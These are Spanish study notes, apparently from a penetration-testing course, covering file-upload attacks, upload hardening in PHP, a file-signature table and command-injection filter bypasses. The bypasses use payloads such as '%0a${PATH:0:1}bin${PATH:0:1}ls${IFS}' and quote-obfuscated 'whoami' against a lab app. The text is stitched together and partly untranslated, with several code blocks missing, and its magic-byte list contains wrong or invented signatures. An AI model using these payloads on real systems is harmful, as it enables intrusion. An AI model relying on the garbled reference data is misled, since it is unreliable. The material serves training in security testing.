CLASS (Java),CA FE BA BE
ARJ,60 EA
LZH,2D 6C 68
CAB,4D 53 43 46
ISO,43 44 30 30 31
Luego de encontrar la extensión permitida (phar) podemos incluir el código php
malicioso dentro del código de la imagen
Hasta ahora, nos hemos centrado principalmente en eludir filtros para obtener cargas
de archivos arbitrarias a través de una aplicación web vulnerable, que es el enfoque
principal de este módulo en este nivel. Si bien los formularios de carga de archivos con
filtros débiles pueden explotarse para cargar archivos arbitrarios, algunos formularios
de carga tienen filtros seguros que podrían no ser explotables con las técnicas que
hemos analizado. Sin embargo, incluso si se trata de un formulario de carga de archivos
limitado (es decir, no arbitrario), que solo permite cargar tipos de archivos específicos,
aún podemos realizar algunos ataques a la aplicación web.
Ciertos tipos de archivos, como SVG, HTML, XMLe incluso algunos archivos de imagen
y documentos, pueden permitirnos introducir nuevas vulnerabilidades en la aplicación
web al subir versiones maliciosas de estos archivos. Por ello, analizar las extensiones
de archivo permitidas es fundamental para cualquier ataque de subida de archivos.
Nos permite explorar qué ataques podrían llevarse a cabo en el servidor web.
Analicemos algunos de estos ataques.
XSS
Muchos tipos de archivos pueden permitirnos introducir una Stored XSSvulnerabilidad
en la aplicación web al cargar versiones de ellos creadas con fines malintencionados.
El ejemplo más básico es cuando una aplicación web nos permite subir HTMLarchivos.
Aunque los archivos HTML no permiten ejecutar código (p. ej., PHP), sí sería posible
implementar código JavaScript en ellos para ejecutar un ataque XSS o CSRF contra
quien visite la página HTML subida. Si el objetivo ve un enlace de un sitio web de
confianza, y este sitio web es vulnerable a la subida de documentos HTML, es posible
engañarlo para que visite el enlace y ejecutar el ataque en sus equipos.
Otro ejemplo de ataques XSS son las aplicaciones web que muestran los metadatos
de una imagen después de subirla. Para estas aplicaciones web, podemos incluir una
carga útil XSS en uno de los parámetros de metadatos que aceptan texto sin formato,
como los parámetros Commento Artist, de la siguiente manera:
Código: xml
Una vez que cargamos la imagen a la aplicación web, la carga XSS se activará cada vez
que se muestre la imagen.
Para obtener más información sobre XSS, puede consultar el módulo Cross-Site
Scripting (XSS) .
Ejercicio: Pruebe los ataques anteriores con el ejercicio al final de esta sección y vea
si la carga XSS se activa y muestra la alerta.
XXE
Se pueden realizar ataques similares para explotar XXE. Con imágenes SVG, también
podemos incluir datos XML maliciosos para filtrar el código fuente de la aplicación web
y otros documentos internos del servidor. El siguiente ejemplo se puede usar para una
imagen SVG que filtra el contenido de ( /etc/passwd):
Código: xml
Una vez cargada y visualizada la imagen SVG anterior, se procesará el documento XML
y la información de ( /etc/passwd) debería imprimirse en la página o mostrarse en el
código fuente. De igual forma, si la aplicación web permite la carga
de XMLdocumentos, la misma carga útil puede llevar al mismo ataque cuando los
datos XML se muestran en la aplicación web.
Si bien leer archivos de sistema como [ /etc/passwdnombre del servidor] puede ser
muy útil para la enumeración de servidores, puede tener un beneficio aún mayor para
las pruebas de penetración web, ya que nos permite leer los archivos fuente de la
aplicación web. El acceso al código fuente nos permitirá encontrar más
vulnerabilidades que explotar dentro de la aplicación web mediante pruebas de
penetración de caja blanca. Para la explotación de la carga de archivos, puede
permitirnos [nombre del servidor] locate the upload directory, identify allowed
extensions, or find the file naming scheme, lo cual puede resultar útil para futuras
explotaciones.
Para utilizar XXE para leer el código fuente en aplicaciones web PHP, podemos usar la
siguiente carga útil en nuestra imagen SVG:
Código: xml
DoS
Finalmente, muchas vulnerabilidades en la carga de archivos pueden provocar
un Denial of Service (DOS)ataque al servidor web. Por ejemplo, podemos usar las
cargas útiles XXE anteriores para realizar ataques DoS, como se explica en el
módulo Ataques Web .
Además, podemos utilizar Decompression Bombtipos de archivo que utilizan
compresión de datos, como ZIPlos archivos comprimidos. Si una aplicación web
descomprime automáticamente un archivo ZIP, es posible que cargue un archivo
malicioso que contenga archivos ZIP anidados, lo que puede generar muchos
petabytes de datos y provocar un bloqueo del servidor.
Otro posible ataque DoS es un Pixel Floodataque con archivos de imagen que utilizan
compresión de imágenes, como JPGo PNG. Podemos crear cualquier JPGarchivo de
imagen con cualquier tamaño (por ejemplo, 500x500) y modificar manualmente sus
datos de compresión para indicar que tiene un tamaño de ( 0xffff x 0xffff), lo que resulta
en una imagen con un tamaño percibido de 4 gigapíxeles. Cuando la aplicación web
intenta mostrar la imagen, intentará asignarle toda su memoria, lo que provocará un
fallo en el servidor backend.
Además de estos ataques, podríamos probar otros métodos para provocar un ataque
de denegación de servicio (DoS) en el servidor backend. Una forma de hacerlo es subir
un archivo demasiado grande, ya que algunos formularios de carga pueden no limitar
el tamaño del archivo ni comprobarlo antes de subirlo, lo que puede saturar el disco
duro del servidor y provocar un bloqueo o una ralentización considerable.
Si la función de carga es vulnerable a la travesía de directorios, también podemos
intentar cargar archivos a un directorio diferente (por ejemplo, ../../../etc/passwd), lo
que también puede provocar que el servidor se bloquee Try to search for other
examples of DOS attacks through a vulnerable file upload functionality.
Comandos:
Solución 2:
El cual podremos decodificar en una página web
Además de las cargas de archivos arbitrarias y los ataques de carga limitada, existen
otras técnicas y ataques que vale la pena mencionar, ya que pueden resultar útiles en
algunas pruebas de penetración web o pruebas de recompensas por errores.
Analicemos algunas de estas técnicas y cuándo podemos usarlas.
RESUMEN:
A lo largo de este módulo, hemos analizado diversos métodos para explotar diferentes
vulnerabilidades en la carga de archivos. En cualquier prueba de penetración o
programa de recompensas por errores en el que participemos, debemos poder
informar sobre las acciones a tomar para corregir las vulnerabilidades identificadas.
En esta sección se analizará lo que podemos hacer para garantizar que nuestras
funciones de carga de archivos estén codificadas de forma segura y protegidas contra
la explotación y qué puntos de acción podemos recomendar para cada tipo de
vulnerabilidad de carga de archivos.
Validación de extensión
El primer y más común tipo de vulnerabilidad de carga que analizamos en este módulo
fue la validación de extensiones de archivo. Las extensiones de archivo desempeñan
un papel importante en la ejecución de archivos y scripts, ya que la mayoría de los
servidores y aplicaciones web suelen usarlas para configurar sus propiedades de
ejecución. Por ello, debemos asegurarnos de que nuestras funciones de carga de
archivos puedan gestionar de forma segura la validación de extensiones.
Aunque incluir extensiones en la lista blanca siempre es más seguro, como vimos
anteriormente, se recomienda usar ambas opciones: incluir las extensiones
permitidas y las peligrosas. De esta forma, la lista negra evitará la carga de scripts
maliciosos si se omite la lista blanca (por ejemplo, [Link]). El siguiente ejemplo
muestra cómo se puede hacer esto con una aplicación web PHP, pero el mismo
concepto se puede aplicar a otros frameworks:
$fileName = basename($_FILES["uploadFile"]["name"]);
// blacklist test
if (preg_match('/^.*\.ph(p|ps|ar|tml)/', $fileName)) {
echo "Only images are allowed";
die();
}
// whitelist test
if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) {
echo "Only images are allowed";
die();
}
Observamos que, con las extensiones en lista negra, la aplicación web verifica [falta
información] if the extension exists anywhere within the file name, mientras que con
las listas blancas, verifica [ if the file name ends with the extensionfalta información].
Además, debemos aplicar la validación de archivos tanto en el backend como en el
frontend. Aunque la validación en el frontend se puede eludir fácilmente, reduce la
posibilidad de que los usuarios suban archivos no deseados, lo que podría activar un
mecanismo de defensa y enviarnos una alerta falsa.
Validación de contenido
Como también aprendimos en este módulo, validar la extensión no es suficiente, ya
que también debemos validar el contenido del archivo. No podemos validar una sin la
otra, y siempre debemos validar tanto la extensión del archivo como su contenido.
Además, debemos asegurarnos de que la extensión del archivo coincida con el
contenido del archivo.
El siguiente ejemplo nos muestra cómo podemos validar la extensión del archivo a
través de la lista blanca y validar tanto la firma del archivo como el encabezado HTTP
Content-Type, al tiempo que garantizamos que ambos coincidan con nuestro tipo de
archivo esperado:
$fileName = basename($_FILES["uploadFile"]["name"]);
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
// whitelist test
if (!preg_match('/^.*\.png$/', $fileName)) {
echo "Only PNG images are allowed";
die();
}
// content test
foreach (array($contentType, $MIMEtype) as $type) {
if (!in_array($type, array('image/png'))) {
echo "Only PNG images are allowed";
die();
}
}
Divulgación de carga
Otra cosa que debemos evitar es revelar el directorio de subidas o proporcionar acceso
directo al archivo subido. Siempre se recomienda ocultar el directorio de subidas a los
usuarios finales y permitirles descargar los archivos subidos únicamente a través de
una página de descarga.
Podemos escribir un [Link] para obtener el archivo solicitado del
directorio de cargas y luego descargarlo para el usuario final. De esta forma, la
aplicación web oculta el directorio de cargas e impide que el usuario acceda
directamente al archivo subido. Esto puede reducir significativamente las
posibilidades de acceder a un script cargado maliciosamente para ejecutar código.
Si utilizamos una página de descarga, debemos asegurarnos de que
el [Link] solo otorgue acceso a los archivos propiedad de los usuarios
(es decir, para evitar IDOR/LFIvulnerabilidades) y que estos no tengan acceso directo
al directorio de subidas (es decir, 403 error). Esto se puede lograr utilizando los
encabezados ` Content-Disposition`` y ` nosniff` y un Content-Typeencabezado
preciso.
Además de restringir el directorio de subidas, también deberíamos aleatorizar los
nombres de los archivos subidos en el almacenamiento y guardar sus nombres
originales "saneados" en una base de datos. Cuando el [Link] necesita
descargar un archivo, obtiene su nombre original de la base de datos y lo proporciona
al usuario durante la descarga. De esta forma, los usuarios desconocerán el directorio
de subidas ni el nombre del archivo subido. También podemos evitar vulnerabilidades
causadas por inyecciones en los nombres de archivo, como vimos en la sección
anterior.
Otra opción es almacenar los archivos subidos en un servidor o contenedor
independiente. Si un atacante logra ejecutar código remoto, solo comprometerá el
servidor de subida, no todo el servidor backend. Además, los servidores web pueden
configurarse para impedir que las aplicaciones web accedan a archivos fuera de sus
directorios restringidos mediante configuraciones como ( open_basedir) en PHP.
Mayor seguridad
Los consejos anteriores deberían reducir significativamente las posibilidades de subir
y acceder a un archivo malicioso. Podemos tomar otras medidas para garantizar que el
servidor back-end no se vea comprometido si se ignora alguna de las medidas
mencionadas.
Una configuración crítica que podemos agregar es deshabilitar funciones específicas
que se pueden usar para ejecutar comandos del sistema a través de la aplicación web.
Por ejemplo, para hacerlo en PHP, podemos usar
la disable_functionsconfiguración [Link] agregar funciones peligrosas
como exec, shell_exec, system, passthru, y algunas otras.
Otra cosa que deberíamos hacer es desactivar la visualización de errores del sistema
o del servidor para evitar la divulgación de información confidencial. Siempre debemos
gestionar los errores a nivel de la aplicación web e imprimir errores simples que
expliquen el error sin revelar detalles confidenciales o específicos, como el nombre del
archivo, el directorio de subida o los errores sin procesar.
Por último, a continuación se presentan algunos otros consejos que debemos tener en
cuenta para nuestras aplicaciones web:
• Limitar el tamaño del archivo
• Actualice cualquier biblioteca utilizada
• Escanee los archivos cargados en busca de malware o cadenas maliciosas
• Utilice un firewall de aplicaciones web (WAF) como capa secundaria de
protección
Una vez implementadas todas las medidas de seguridad descritas en esta sección, la
aplicación web debería ser relativamente segura y no vulnerable a las amenazas
comunes de carga de archivos. Al realizar una prueba de penetración web, podemos
usar estos puntos como lista de verificación y proporcionar los que falten a los
desarrolladores para que cubran cualquier deficiencia.
Observamos que, con las extensiones en lista negra, la aplicación web verifica Si la
extensión existe en cualquier lugar dentro del nombre del archivo, mientras que,
con las listas blancas, verifica Si el nombre del archivo termina con la extensión.
1. FF D8 FF E0 - ÿØÿà (JPEG/JFIF)
2. 89 50 4E 47 - ‰PNG (PNG)
3. 47 49 46 38 - GIF8 (GIF)
4. 42 4D - BM (BMP)
5. 49 49 2A 00 - II* (TIFF Intel)
6. 4D 4D 00 2A - MM␀* (TIFF Motorola)
7. 25 50 44 46 - %PDF (PDF)
8. 50 4B 03 04 - PK␃␄ (ZIP)
9. 50 4B 05 06 - PK␅␆ (ZIP empty)
10. 50 4B 07 08 - PK␇␈ (ZIP spanned)
11. 52 61 72 21 - Rar! (RAR)
12. 1F 8B 08 - ␟‹␈ (GZIP)
13. 42 5A 68 - BZh (BZIP2)
14. 53 51 4C 69 - SQLi (SQLite)
15. 4D 5A - MZ (EXE)
16. 7F 45 4C 46 - ELF (ELF)
17. CA FE BA BE - Êþº¾ (Java Class)
18. 00 00 01 00 - ␀␀␁␀ (ICO)
19. 00 00 02 00 - ␀␀␂␀ (CUR)
20. 46 4F 52 4D - FORM (AIFF)
21. 4E 45 53 1A - NES␚ (NES)
22. 43 44 30 30 - CD00 (ISO)
23. 44 49 43 4D - DICM (DICOM)
24. 38 42 50 53 - 8BPS (PSD)
25. 41 56 49 20 - AVI␠ (AVI)
26. 52 49 46 46 - RIFF (WAV/RIFF)
27. 4D 54 68 64 - MThd (MIDI)
28. 4F 67 67 53 - OggS (OGG)
29. 1A 45 DF A3 - ␚Eߣ (Matroska)
30. 66 4C 61 43 - fLac (FLAC)
31. FF FB - ÿû (MP3)
32. 49 44 33 - ID3 (MP3 ID3)
33. 4D 4F 56 49 - MOVI (QuickTime)
34. 00 00 00 1C 66 74 79 70 - ␀␀␀␜ftyp (MP4)
35. 52 54 53 50 - RTSP (RealMedia)
36. 1A 45 - ␚E (WebM)
37. 30 26 B2 75 - 0&²u (MPEG-TS)
38. 00 00 01 BA - ␀␀␁º (MPEG-PS)
39. 23 21 2F - #!/ (Script)
40. 3C 21 44 4F - <!DO (HTML DOCTYPE)
41. 3C 3F 78 6D - <?xm (XML)
42. 3C 68 74 6D - <htm (HTML)
43. 25 21 - %! (PostScript)
44. 7B 5C 72 74 - {rt (RTF)
45. 44 4F 43 46 - DOCF (MS Office old)
46. 50 4B 00 01 - PK␀␁ (Office Open XML)
47. 4F 44 46 20 - ODF␠ (OpenDocument)
48. 43 52 32 30 - CR20 (Core Audio)
49. 66 74 79 70 33 67 - ftyp3g (3GP)
50. 00 00 00 0C 6A 50 20 - ␀␀␀␌jP␠ (JP2)
51. 38 42 49 4D - 8BIM (Photoshop alt)
52. 41 4D 52 0A - AMR␊ (AMR)
53. 4D 34 41 20 - M4A␠ (M4A)
54. 4D 34 50 20 - M4P␠ (M4P)
55. 4D 34 56 20 - M4V␠ (M4V)
56. 00 01 - ␀␁ (RealAudio)
57. 2E 52 4D 46 - .RMF (RealMedia File)
58. 54 48 58 20 - THX␠ (TXTM)
59. 55 55 55 44 - UUUD (UUencode)
60. 23 23 23 23 - #### (ARJ)
61. 1F 9D - ␟ (Tape Archive old)
62. 1F A0 - ␟ (Tape Archive)
63. 4C 5A 49 50 - LZIP (LZIP)
64. FD 37 7A 58 - ½7zX (7z)
65. 53 7A 44 44 - SzDD (SZDD)
66. 75 64 66 - udf (UDF)
67. 45 52 43 53 - ERCS (ERCS)
68. 60 EA - `ê (MacBinary)
69. 44 45 53 43 - DESC (NeXT)
70. 43 52 45 41 - CREA (Creator)
71. 48 50 48 46 - HPHP (HPGL)
72. 25 21 50 53 - %!PS (EPS)
73. 41 49 4D 46 - AIMF (AIFC)
74. 43 41 46 46 - CAFF (Core Audio)
75. 4D 33 55 31 - M3U1 (M3U)
76. 4C 41 56 46 - LAVF (Lavf)
77. 66 74 79 70 69 73 6F - ftypiso (ISO Media)
78. 66 74 79 70 6D 70 34 - ftypmp4 (MP4 alt)
79. 66 74 79 70 71 74 - ftypqt (QuickTime alt)
80. 4D 44 41 54 - MDAT (MP4 data)
81. 6D 6F 6F 76 - moov (QuickTime)
82. 6D 64 61 74 - mdat (MP4 data alt)
83. 66 72 65 65 - free (QuickTime)
84. 77 69 64 65 - wide (QuickTime)
85. 70 6E 6F 74 - pnot (PowerPoint)
86. 77 6F 72 64 - word (Word)
87. 78 6C 73 78 - xlsx (Excel)
88. 70 70 74 78 - pptx (PowerPoint)
89. 64 6F 63 78 - docx (Word)
90. 76 6E 64 2E - vnd. (vnd MIME)
91. 41 50 50 4C - APPL (AppleSingle)
92. 64 72 65 66 - dref (QuickTime)
93. 65 64 74 73 - edts (QuickTime)
94. 6D 64 68 64 - mdhd (QuickTime)
95. 68 64 6C 72 - hdlr (QuickTime)
96. 6D 69 6E 66 - minf (QuickTime)
97. 64 69 6E 66 - dinf (QuickTime)
98. 73 74 62 6C - stbl (QuickTime)
99. 75 64 74 61 - udta (QuickTime)
100. 63 6D 6F 76 - cmov (QuickTime)
Inyecciones de comando
Detección
ping -c 1 OUR_INPUT
Podemos utilizar cualquiera de estos operadores para inyectar otro comando para que
uno botho either más de los comandos se [Link] would write our expected input
(e.g., an IP), then use any of the above operators, and then write our new command.
Consejo: Además de lo anterior, hay algunos operadores exclusivos de Unix, que
funcionarían en Linux y macOS, pero no en Windows, como envolver nuestro comando
inyectado con comillas dobles invertidas ( ``) o con un operador de sub-shell ( $()).
En general, para la inyección básica de comandos, todos estos operadores se pueden
usar regardless of the web application language, framework, or back-end server. Por lo
tanto, si inyectamos en una PHPaplicación web que se ejecuta en
un Linuxservidor, .Neten un Windowsservidor back-end o NodeJSen
un macOSservidor back-end, nuestras inyecciones deberían funcionar
independientemente.
Nota: La única excepción puede ser el punto y coma ;, que no funcionará si el comando
se estuviera ejecutando con Windows Command Line (CMD), pero sí funcionaría si se
estuviera ejecutando con Windows PowerShell.
En la siguiente sección, intentaremos utilizar uno de los operadores de inyección
anteriores para explotar el Host Checker ejercicio.
Comandos:
Hasta ahora, hemos detectado que la Host Checker aplicación web es potencialmente
vulnerable a la inyección de comandos y hemos analizado varios métodos de inyección
que podemos utilizar para explotarla. Por lo tanto, comencemos nuestros intentos de
inyección de comandos con el operador de punto y coma ( ;).
Como podemos ver, la aplicación web rechazó nuestra entrada, ya que solo parece
aceptar entradas en formato IP. Sin embargo, a juzgar por el mensaje de error, parece
provenir del front-end y no del back-end. Podemos comprobarlo haciendo Firefox
Developer Tools clic [CTRL + SHIFT + E]para mostrar la pestaña Red y luego haciendo
clic Check de nuevo en el botón:
Como podemos ver, no se realizaron nuevas solicitudes de red al hacer clic en el Check
botón, pero recibimos un mensaje de error. Esto indica que el archivo user input
validation is happening on the front-end.
Esto parece ser un intento de evitar que enviemos cargas útiles maliciosas al permitir
únicamente la entrada del usuario en formato IP. However, it is very common for
developers only to perform input validation on the front-end while not validating or
sanitizing the input on the [Link] ocurre por diversas razones, como tener dos
equipos diferentes trabajando en el front-end y el back-end, o confiar en la validación
del front-end para evitar cargas útiles maliciosas.
Sin embargo, como veremos, las validaciones del front-end normalmente no son
suficientes para evitar las inyecciones, ya que pueden evitarse muy fácilmente
enviando solicitudes HTTP personalizadas directamente al back-end.
El método más sencillo para personalizar las solicitudes HTTP que se envían al servidor
backend es usar un proxy web que pueda interceptar las solicitudes HTTP que envía la
aplicación. Para ello, podemos iniciar Burp Suite o ZAP y configurar Firefox para que
procese el tráfico a través de ellos. Después, podemos habilitar la función de
intercepción de proxy, enviar una solicitud estándar desde la aplicación web con
cualquier IP (por ejemplo, [Link]) y enviar la solicitud HTTP interceptada a repeater
haciendo clic en [CTRL + R]. Deberíamos tener la solicitud HTTP para personalizarla:
Ahora podemos personalizar nuestra solicitud HTTP y enviarla para ver cómo la
gestiona la aplicación web. Comenzaremos usando la misma carga útil anterior
([Link]; whoami). También debemos codificar la URL de nuestra carga útil para
asegurarnos de que se envíe correctamente. Podemos hacerlo seleccionando la carga
útil y haciendo clic en [CTRL + U]. Finalmente, podemos hacer clic Send para enviar
nuestra solicitud HTTP:
Solicitud POST de Burp
Como podemos ver, la respuesta que obtuvimos esta vez contiene la salida del ping
comando y el resultado del whoami comando, meaning that we successfully injected
our new command.
Comandos:
[Link]%3b+whoami
[Link];whoami
Otros operadores de inyección
Operador AND
Podemos comenzar con el operador AND(&&), de modo que nuestra carga final sería
([Link] && whoami), y el comando final ejecutado sería el siguiente:
Operador OR
Finalmente, probemos el operador de inyección OR( ). Este operador solo ejecuta el
segundo comando si el primero falla. Esto puede ser útil en casos donde la inyección
interrumpiría el comando original sin una forma sólida de que ambos funcionen. Por lo
tanto, usar el operador haría que el nuevo comando se ejecutara si el primero
falla.||OROR
Si intentamos utilizar nuestro payload habitual con el ||operador ( [Link] || whoami),
veremos que solo se ejecutará el primer comando:
============================================================
21y4d@htb[/htb]$ ping -c 1 [Link] || whoami
Vemos que esta vez solo obtuvimos la salida del segundo comando, como se
esperaba. Con esto, usamos una carga útil mucho más simple y obtenemos un
resultado mucho más limpio.
Estos operadores se pueden usar para varios tipos de inyección, como inyecciones
SQL, inyecciones LDAP, XSS, SSRF, XXE, etc. Hemos creado una lista de los operadores
más comunes que se pueden usar para inyecciones:
Tipo de inyección Operadores
Inyección SQL ' , ; -- /* */
Inyección de comandos ; &&
Inyección LDAP *()&|
Inyección XPath ' or and not substring concat count
Inyección de comandos del sistema operativo ;&|
Inyección de código ' ; -- /* */ $() ${} #{} %{} ^
Recorrido de directorios/recorrido de rutas de archivos ../ ..\\ %00
Inyección de objetos ;&|
Inyección XQuery ' ; -- /* */
Inyección de código Shell \x \u %u %n
Inyección de encabezado \n \r\n \t %0d %0a %09
Tenga en cuenta que esta tabla está incompleta y que existen muchas otras opciones
y operadores. Además, depende en gran medida del entorno con el que trabajamos y
en el que realizamos las pruebas.
En este módulo, nos centraremos principalmente en la inyección directa de
comandos, donde nuestra entrada se introduce directamente en el comando del
sistema y recibimos su salida. Para más información sobre inyecciones avanzadas de
comandos, como las indirectas o la ciega, puede consultar el módulo "Whitebox
Pentesting 101: Inyección de comandos" , que abarca métodos de inyección
avanzados y muchos otros temas.
Comandos:
&&whoami
%26%26whoami
||whoami
1||whoami
Identificación de filtros
Detección de filtro/WAF
Comencemos visitando la aplicación web del ejercicio al final de esta sección. Vemos
la misma Host Checker aplicación web que hemos estado explotando, pero ahora
cuenta con algunas mitigaciones bajo la manga. Podemos ver que si probamos los
operadores anteriores, como ( ,, ;) , obtenemos el siguiente mensaje de
error : &&||invalid input
Esto indica que algo que enviamos activó un mecanismo de seguridad que rechazó
nuestra solicitud. Este mensaje de error puede mostrarse de varias maneras. En este
caso, lo vemos en el campo donde se muestra la salida, lo que significa que fue
detectado y evitado por la PHP propia aplicación web If the error message displayed a
different page, with information like our IP and our request, this may indicate that it was
denied by a WAF.
Revisemos la carga útil que enviamos:
[Link]; whoami
Una aplicación web puede tener una lista de caracteres bloqueados y, si el comando
los contiene, denegará la solicitud. El PHP código podría ser similar al siguiente:
Ejemplo:
[Link]\n
[Link]%0a
[Link]&
[Link]%26
[Link]|
[Link]||
[Link]%7c
[Link]%7c%7c
Como podemos ver, aunque nuestra carga útil incluía un carácter de nueva línea,
nuestra solicitud no fue denegada y obtuvimos el resultado del comando ping. which
means that this character is not blacklisted, and we can use it as our injection
operatorComencemos explicando cómo omitir un carácter comúnmente bloqueado:
el espacio.
Usar tabulaciones (%09) en lugar de espacios es una técnica que podría funcionar, ya
que tanto Linux como Windows aceptan comandos con tabulaciones entre
argumentos y se ejecutan de la misma manera. Probemos a usar una tabulación en
lugar del espacio ( [Link]%0a%09) y veamos si nuestra solicitud es aceptada:
Como podemos ver, hemos evitado el filtro de espacios usando una tabulación.
Veamos otro método para reemplazar espacios.
Usando $IFS
Usar la variable de entorno de Linux ($IFS) también podría funcionar, ya que su valor
predeterminado es un espacio y una tabulación, lo cual funcionaría entre los
argumentos del comando. Por lo tanto, si usamos ${IFS} donde deberían estar los
espacios, la variable debería reemplazarse automáticamente con un espacio y nuestro
comando debería funcionar.
Existen muchos otros métodos para evitar los filtros de espacio. Por ejemplo, podemos
usar la Bash Brace Expansion función que añade automáticamente espacios entre los
argumentos entre llaves, como se indica a continuación:
total 0
drwxr-xr-x 1 21y4d 21y4d 0 Jul 13 07:37 .
drwxr-xr-x 1 21y4d 21y4d 0 Jul 13 13:01 ..
====================================================================
Como podemos ver, el comando se ejecutó correctamente sin espacios. Podemos
utilizar el mismo método para omitir el filtro de inyección de comandos, usando la
expansión de llaves en los argumentos del comando, como ( [Link]%0a{ls,-la}).
Para descubrir más opciones para omitir el filtro de espacios, consulta la página
de PayloadsAllTheThings sobre cómo escribir comandos sin espacios.
Ejercicio: intente buscar otros métodos para evitar los filtros de espacio y utilícelos
con la Host Checkeraplicación web para aprender cómo funcionan.
Comandos:
[Link]\n
[Link]\nls -la
[Link]%0a
[Link]%0a{ls,-la}
Usando $IFS
Usar la variable de entorno de Linux ($IFS) también podría funcionar, ya que su valor
predeterminado es un espacio y una tabulación, lo cual funcionaría entre los
argumentos del comando. Por lo tanto, si usamos ${IFS} donde deberían estar los
espacios, la variable debería reemplazarse automáticamente con un espacio y nuestro
comando debería funcionar.
[Link]%0a%0a${IFS}{ls,-la}
Cómo eludir a otros personajes de la lista negra
Linux
Existen muchas técnicas que podemos utilizar para incluir barras diagonales en
nuestra carga útil. Una de ellas, para reemplazar las barras diagonales ( or any other
character), es mediante Linux Environment Variables el método que utilizamos
con ${IFS}. Si bien ${IFS}se reemplaza directamente con un espacio, no existe una
variable de entorno similar para barras diagonales o puntos y comas. Sin embargo,
estos caracteres pueden usarse en una variable de entorno, y podemos
especificar starty lengthde nuestra cadena para que coincidan exactamente con este
carácter.
Por ejemplo, si observamos la $PATH variable de entorno en Linux, podría verse así:
==================================================================
[!bash!]$ echo ${PATH}
/usr/local/bin:/usr/bin:/bin:/usr/games
==================================================================
/
==================================================================
;
==================================================================
Como podemos ver, esta vez también hemos logrado pasar con éxito el filtro de
caracteres.
Windows
El mismo concepto funciona también en Windows. Por ejemplo, para crear una barra
diagonal en [nombre de la variable] Windows Command Line (CMD), podemos
usar echo una variable de Windows (%HOMEPATH%-> \Users\htb-student),
especificar una posición inicial ( ~6-> \htb-student) y, finalmente, una posición final
negativa, que en este caso es la longitud del nombre de usuario htb-student( -11-> \).
==================================================================
C:\htb> echo %HOMEPATH:~6,-11%
\
==================================================================
Podemos lograr lo mismo usando las mismas variables en Windows PowerShell. Con
PowerShell, una palabra se considera un array, por lo que debemos especificar el
índice del carácter que necesitamos. Como solo necesitamos un carácter, no es
necesario especificar las posiciones inicial y final:
==================================================================
PS C:\htb> $env:HOMEPATH[0]
PS C:\htb> $env:PROGRAMFILES[10]
PS C:\htb>
==================================================================
Cambio de personaje
Existen otras técnicas para producir los caracteres necesarios sin usarlos,
como shifting characters. Por ejemplo, el siguiente comando de Linux desplaza el
carácter que pasamos por 1. Así, solo tenemos que encontrar el carácter en la tabla
ASCII justo antes del carácter necesario (podemos obtenerlo con man ascii) y luego
agregarlo en lugar de , como [en el ejemplo siguiente. De esta manera, el último
carácter impreso sería el que necesitamos:
==================================================================
[!bash!]$ man ascii # \ is on 92, before it is [ on 91
[!bash!]$ echo $(tr '!-}' '"-~'<<<[)
\
==================================================================
Comandos:
Linux
echo ${PATH} En bash linux
echo ${PATH:0:1} Uso en inyección ${PATH:0:1} /
echo ${LS_COLORS:10:1} Uso en inyección ${LS_COLORS:10:1} ;
Seria un ; + espacio vacío [Link]${LS_COLORS:10:1}${IFS}
Windows
(%HOMEPATH%-> \Users\htb-student), especificar una posición inicial ( ~6-> \htb-
student) y, finalmente, una posición final negativa, que en este caso es la longitud
del nombre de usuario htb-student( -11-> \)
echo %HOMEPATH:~6,-11% \
$env:HOMEPATH[0] \
$env:PROGRAMFILES[10]
Bash Linux:
Ejemplos:
[Link]\n/ == [Link]%0a${PATH:0:1}
[Link]; == [Link]${LS_COLORS:10:1}${IFS} == ; mas espacio
Solución:
${PATH:0:1} genera /.
${IFS} genera un espacio.
Esto intenta ejecutar /bin/ls /home, que debería listar los usuarios (por ejemplo,
Alejandro).
[Link]%0a${PATH:0:1}bin${PATH:0:1}ls${IFS}${PATH:0:1}home
Hemos analizado varios métodos para eludir los filtros de un solo carácter. Sin
embargo, existen diferentes métodos para eludir los comandos de la lista negra. Una
lista negra de comandos suele constar de un conjunto de palabras, y si podemos
ofuscar nuestros comandos y darles un aspecto diferente, podríamos eludir los filtros.
Existen varios métodos de ofuscación de comandos con diferente complejidad, como
veremos más adelante con las herramientas de ofuscación de comandos.
Abordaremos algunas técnicas básicas que nos permitirán modificar la apariencia de
nuestro comando para omitir los filtros manualmente.
Hasta ahora hemos superado con éxito el filtro de caracteres para los espacios y
puntos y comas en nuestra carga útil. Así que, volvamos a nuestra primera carga útil y
volvamos a añadir el whoami comando para comprobar si se ejecuta:
Como podemos ver, se verifica cada palabra introducida por el usuario para ver si
coincide con alguna de las palabras bloqueadas. Sin embargo, este código busca una
coincidencia exacta con el comando proporcionado, por lo que si enviamos un
comando ligeramente diferente, podría no bloquearse. Afortunadamente, podemos
utilizar diversas técnicas de ofuscación que ejecutarán nuestro comando sin usar la
palabra exacta.
Linux y Windows
21y4d
====================================================================
21y4d
====================================================================
Lo importante es recordar que we cannot mix types of quotes y the number of quotes
must be even. Podemos probar una de las opciones anteriores en nuestra carga útil
( [Link]%0aw'h'o'am'i) y ver si funciona:
Sólo Linux
Sólo Windows
21y4d
====================================================================
En la siguiente sección, analizaremos algunas técnicas más avanzadas para la
ofuscación de comandos y la elusión de filtros.
Comandos:
w'h'o'am'i
w"h"o"am"i
Bypass Linux:
w\ho\am\i
Bypass Windows:
who^ami
Solución:
ip=[Link]%0a${PATH:0:1}bin${PATH:0:1}vi${IFS}${PATH:0:1}home${PATH:0:1}1nj3c
70r${PATH:0:1}[Link]
Ofuscación de comandos avanzada
Manipulación de casos
21y4d
====================================================================
Sin embargo, cuando se trata de Linux y un shell bash, que distingue entre mayúsculas
y minúsculas, como se mencionó anteriormente, debemos ser creativos y encontrar
un comando que convierta el comando en una palabra en minúsculas. Un comando
que funciona es el siguiente:
21y4d
====================================================================
Como podemos ver, el comando funcionó, aunque la palabra que proporcionamos fue
(WhOaMi). Este comando tr reemplaza todas las mayúsculas por minúsculas, lo que
resulta en un comando compuesto exclusivamente por minúsculas. Sin embargo, si
intentamos usar el comando anterior con la Host Checker aplicación web, veremos
que sigue bloqueado:
Can you guess why? Esto se debe a que el comando anterior contiene espacios, que
son un carácter filtrado en nuestra aplicación web, como vimos antes. Por lo tanto, con
estas técnicas, we must always be sure not to use any filtered charactersde lo
contrario, nuestras solicitudes fallarán y podríamos pensar que las técnicas no
funcionaron.
Una vez que reemplazamos los espacios por tabulaciones (%09), vemos que el
comando funciona perfectamente:
Código: bash
